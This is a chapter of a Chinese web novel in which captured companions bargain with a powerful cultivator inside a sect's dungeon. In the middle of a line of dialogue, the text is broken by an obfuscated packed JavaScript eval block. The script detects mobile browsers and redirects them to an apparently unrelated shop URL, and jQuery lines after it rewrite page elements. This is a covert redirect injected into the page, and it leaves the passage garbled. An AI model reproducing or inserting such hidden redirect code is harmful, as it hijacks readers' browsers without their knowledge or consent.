43.暗局(三)

作品:《以兄之名守山河

    宋凌走出殿内,背靠在冰冷的石柱前,警惕的四处张望。


    天阙宗秘阁会藏些秘密,她要查天阙宗并非心血来潮,而是昨夜叶玄武枕边字条上,不只有西玄门的字迹挑衅,字落下方,还有天阙宗宗徽。


    这不得不让她怀疑,这字条上的字到底是天阙宗冒充西玄门传字,还是两方已经合作?当然,这也只是猜测,若真是这样,叶玄武的死可就冤了。


    “宋姑娘不在宴席上好好呆着,一个人跑出来做什么?”


    宋凌心一惊,猛地转过身,星河?她都没察觉到任何气息靠近,她什么时候来的?她袖中滑出短刃想做防备,短刃还没握实,星河轻吹口气,宋凌闭气已晚,身体不受控制地向后倒去。


    星河向前一步接住宋凌,看向自己怀中的人道:“真是不听话,现在可不能乱跑哦!”


    ——


    殿内的气氛降到了冰点,李云凡手腕被死死攥住,心里暗道不好,这戏演的怎么这么不对劲?好像玩过头了……


    “宗……宗主姐姐……误会啊……”


    李云凡想糊弄,柳玉溪才不给他说话机会,刚刚已经忍的够久了,现在看着他就冒火,她拽着他的手猛地向后拉去,将其一把推坐在宝座上。


    柳玉溪看着宝座上的李云凡,眼中杀意更浓:“本宗主邀请你们来是给天阙宗增添热闹的,不是让你们来找事的!”


    她微微侧头,声音拔高道:“来人!今日殿内,一个不留!”


    “完了!玩大了!”沈少时脸色大变,柳玉溪这家伙目的本就不单纯,这是找到了风口,要借题发挥了!


    殿外走进两队天阙宗弟子,手中拿着长剑,瞬间将大殿所有出口堵得水泄不通。


    “怎么回事?!”


    “天阙宗要干什么?!”


    “柳宗主!你这是何意?!”一个坐在前排的老者站起身道。


    柳玉溪冷笑一声,见李云凡要起身,伸手掐住他的脖子,并未用力,只是钳制住他,恶狠狠道:“你让本宗主很不高兴!那就要付出代价!”她头也不回地对殿内弟子下令,“杀!”


    “可误!天阙宗背信弃义!”


    “他们既然翻脸,我们还顾及什么情面!跟他们拼了!”


    宾客纷纷拔剑反抗,刀光剑影混杂着瓷器摔碎的声响,大殿瞬间变成屠宰场。


    沈少时手拿玉骨扇格开一把把刺向自己的长剑,一边战斗,一边时不时瞥向殿上,注意李云凡的安危。


    李云凡拼命地挣扎:“你个疯婆娘!怎么说翻脸就翻脸!”


    柳玉溪凑到他耳边,冷冷道:“你不是喜欢聊天吗?喜欢八卦吗?本宗主慢慢跟你聊,我们聊个七天七夜都可以!”她说着,从腰间拔出把匕首阴冷一笑,朝着李云凡刺去!


    “李云凡!”


    沈少时见状心一惊,也顾不得自己这边什么情况了,将手中玉骨扇朝殿上抛过去,扇子开扇旋转着打在柳玉溪手上,痛得她松开握着匕首的手。


    扇子回旋合扇返回沈少时手里,这一招式攻击也是试探,他心中一沉,柳玉溪实力深不可测,甚至超过某些宗门的长老,不好对付!


    李云凡挣扎的更凶了,大叫道:“救命啊!宋冰块!!你死哪去了!!!还要不要你夫君了啊!!!!!!”


    “够了!”


    平静的声音响起,一直安静坐在旁边的凤三娘缓缓站起,目光落在柳玉溪身上,开口道:“今日是你的接位大典,见血是什么好事吗?杀了这些人容易,后续的麻烦事你都想好如何去应对了?宗门根基未固,不宜树敌太多,不要为了你自己的痛快,乱了我们与盟友间的阵脚。”


    柳玉溪眼中暗了暗,掐着李云凡脖子的手力道松了些,李云凡趁此机会,脑袋一扭,张嘴狠狠咬住柳玉溪的手,疼得她下意识松了手。


    李云凡迅速从她手底下的座椅间滑了出去,连滚带爬地摔下台阶。


    柳玉溪看着自己手上的牙印,瞪向凤三娘:“你确定不是在护着他们?”


    “确定。”凤三娘淡淡道,“我是在提醒你分清主次,别忘了我们最初目的,莫要因小失大。”


    柳玉溪沉默片刻,转过身道:“停!”


    还在打斗的弟子纷纷停手后退,将剩余的人围在中间。


    沈少时扶起揉着屁股的李云凡道:“没事吧?”


    李云凡揉着屁股站起来:“应该没大事。”


    “今日之事,乃是我天阙宗与旧敌结下的恩怨。处置不当,惊扰了各位,本宗主代宗门向各位致歉,未受伤的宾客,现在可自行离去,受伤的,我宗弟子将会为其医治。”柳玉溪顿了顿,目光扫过沈少时和李云凡,“至于这两位……以及他们那位擅自离席的同伴,暂留我宗‘做客’,待矛盾解决,自会放人离开。”


    ——


    虞衡走回客栈,来到二楼客房推开门,眉头皱了起来,房间里怎么一个人也没有?他走到桌前坐下,喃喃自语道:“人都去哪了?”


    “你快点走嘛!”


    “别催了!”


    外面传来争执和脚步声,门被推开,阿虎先探进个脑袋,见虞衡在里面,眼睛一亮,推开门走了进去。


    “师父!”


    虞衡抬眼,目光扫过他怀里的余窑,落在他身后的两个人,问道:“怎么还带了两个‘小朋友’回来?”


    阿虎走到榻前将余窑放好,转身回答道:“这个说来话长,俺带余窑去找医师,就碰上了他们……”他将来龙去脉讲了一遍,“要多谢玫果姑娘,但人家也是有条件的,需要暂时保护他哥哥一段时间,好歹帮了余窑,俺就想……”


    虞衡目光在西琅身上停留片刻,又望了望满脸讨好的玫果,道:“那便留下吧。”


    阿虎点点头:“嗯!多谢师父!”他忽地想起什么,从怀里掏出件东西递了过去,“师父,你看这个,在回来的路上,这东西就莫名其妙的落到我脚边了。”


    是一颗水滴状的宝石,内部流动着闪闪细沙般的光点。


    虞衡接过后,脸色严肃起来:“尤神玉?!”他指尖摩擦着玉石表面,“这帮孩子真不叫人省心,也怪我,回来确实晚了些……”


    他站起身,将尤神玉收在袖中:“你们几个先待在这里,不要乱跑。”


    “师父,你要去哪里?”


    “天阙宗。”


    ——


    【天阙宗】【地牢】


    宋凌睁开沉重的眼皮,视线模糊片刻才一点点聚焦。


    周身处在一个狭窄的石牢里,自己靠坐在冰冷的石墙边,手脚并没有被捆绑。


    宋凌费力站起身,脚步有些虚浮,不清楚星河吐的什么妖烟,后劲还不小。


    她扶着墙走到铁门前,透过小窗向外望去。


    对面是和自己这间类似的牢房,里面隐约蜷缩着个人,看那身形的衣服,越看越眼熟……


    “李云凡?”


    对面的人影动了动,可能是听到了宋凌的声音,李云凡一直无望的眼睛亮了起来,起身扑到铁门前,透过上面的小窗看向对面,又惊又喜:“宋冰块!真的是你!我以为我耳朵反潮幻听了!”


    宋凌道:“你也被抓了?沈公子呢?”


    “他啊,”李云凡眼神向自己隔壁撇了撇,“旁边那间呆着呢。”


    沈少时:“宋姑娘啊!这次我们是真来‘坐客’咯!”


    宋凌心沉了下去,就这么一窝端了?点怎么这么背?看来天阙宗早有预谋,草率了。


    “几位小朋友,需要帮忙吗?”


    平和的声音在寂静的地牢中响起,三人同时循声望去,两侧牢房中间的空地上,出现一个白衣人,他先是扫过沈少时与李云凡,最后落在宋凌身上。


    “天阙宗里藏着许多秘密,要比你们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083728|192910||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    感受到的多得多,有知事人不问,偏要自己去苦寻,简直愚蠢。”白衣人冷冷开口。


    宋凌打量一番白衣人,这身上的气度和虞衡差不多,但虞衡比这个人的感觉要暖一些。


    “你是修真人?”宋凌问。


    “没错,我站在你们这些凡人的至高点,是世间修士追寻一生的圣人,只要你们开口恳求,无需你们如此大费周章,我可以直接告诉你们想要的答案。”白衣人道。


    “你们的能力确实很大,大到可以搅动凡尘风云,但请你们不要把我们这些凡人想的太弱,我们虽是凡人,但也有我们要走的路,有我们的生活方式,我们有的,你们未必能有。”宋凌道。


    白衣人冷哼声:“倒是倔强。”


    他拍了拍手,三人所处的牢房中,墙壁缓缓下沉,整个地牢的隔间消失,成为一片平地。


    李云凡见困住自己的墙壁消失,立刻朝宋凌那边跑去:“宋冰块!”


    他还差几步就跑到宋凌面前,被白衣人抬手间散出的白光缠上腰身和脖子,提到了半空,白衣人自认为没用多大力,却让李云凡脸憋得通红。


    “放开他!”宋凌怒喝道。


    “你让我放我就放?说的话幼稚不幼稚。”


    “咳咳咳……你们咋还聊起来了……有没有考虑过我的感受……要断气了……”李云凡挣扎道。


    白衣人控制白光束缚他的力道松了些,继续对宋凌道:“我能这个时候站出来和你们谈交易,是看得起你们,你们没有拒绝的权利,也没有选择的权利。”


    宋凌道:“那你总得让我们知道在和谁谈交易吧?”


    白衣人(南酩)道:“仙界灵岛,岭上之花,了解过的,心里都很清楚。”


    被晾在一边,显得没什么存在感的沈少时看出点问题,开口道:“我算是看明白了,这绕来绕去,又是你们修真界这些烂事。”他看向宋凌,“我说宋姑娘,咱们能不能和他们分开各干各的事?他们讲什么天道因果,和咱们根本就不是一路人,他们的事和我们的事硬搅在一起,乱的麻烦。”


    宋凌看向被控制的李云凡,沈少时说的没毛病,修真与自己的路本就不同,实力不同,向往不同,她也想分开,但都是上一辈留下的旧友,她该怎么开口?


    宋凌叹口气,这口气中掺杂了太多无奈,道:“日后再讨论这个问题。”她看向南酩,“说你的条件。”


    南酩勾了勾嘴角:“余窑!我只要他!作为交换,我会告诉你们天阙宗都藏着哪些‘龙虎奇兽’,以及你们最想知道的某个旧案。”


    宋凌心一惊:“我以为你能知道最近发生的事,这么久远的你也知道?”


    南酩道:“我怎么不知道,你现在再查凤溪城主的死,暗地里在查某个贵妃的冤死,我说的可有错?”


    宋凌道:“不愧是修真人,我答应你这桩交易,把人放了。”


    南酩道:“你在开玩笑?利益的最大化是你,我怎么可能先放人质?我送你们回去带人,不见余窑,我绝对不会放人,你们若想耍花招,关于此局走向的人,将死的连灰都不剩!”


    说完,南酩不再给宋凌讨价还价的机会,另一只手一挥,宋凌与沈少时眼前模糊一晃,周围景象瞬间变化,等脚下站实,他们已在天阙宗山门之外。


    沈少时稳住身形,看向宋凌忍不住问:“你就这么答应他了?不怕被套路?这些修真人心似海,况且这人的套路我们又不熟。”


    宋凌心里何尝不清楚这一点?现在是被局势推着走,李云凡被抓,眼下别无他法,不得不做出这种决定,难道和对方硬碰硬吗?胜负用脚趾头想都能知道。


    宋凌叹口气道:“我知道,这些人扰局过于严重,论实力相差甚远,不得不先应下。是我过于心急了,看来,所有事想要不乱,就只能一桩桩顺着来,先回去找虞衡,我们一起商量余窑的事。”